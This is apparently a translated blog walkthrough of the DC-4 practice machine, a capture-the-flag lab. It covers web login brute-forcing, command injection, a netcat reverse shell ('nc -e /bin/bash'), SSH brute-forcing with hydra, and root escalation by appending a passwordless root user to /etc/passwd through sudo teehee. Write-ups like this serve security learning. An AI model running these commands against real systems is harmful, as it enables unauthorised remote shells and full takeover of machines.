Target machine test--DC(4)

collect message

Host discovery

Insert picture description here

Port scan

Insert picture description here

Vulnerability discovery and exploitation

Visit 80:
Insert picture description here
a login box, and the user name admin is also given. Blasting password: happy; login.

A page that can execute commands:
Insert picture description here
capture packets and make modifications:
Insert picture description here
there is a command execution vulnerability.

Reverse shell

nc -e /bin/bash ip address port

Three users were found in the home directory:

Open these three directories in turn:
only the jim directory has files:
Insert picture description here

Found after opening:
Insert picture description here
Open the file, it may be a password file.

Use hydra for ssh blasting:

Insert picture description here

Use ssh to connect:

Insert picture description here

Right escalation

There is an email in the /var/mail/ directory, open it: I
Insert picture description here
got the account password of Charles.

Switch to this user and view the sudo commands that can be executed:
Insert picture description here

teehee -a can append content to a file, use:

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

Add a user with root privileges to /etc/passwd, and the password is blank.

Switch user:
Insert picture description here
Insert picture description here

to sum up

New knowledge: teehee rights escalation method.

Guess you like

Origin blog.csdn.net/qq_45742511/article/details/115013298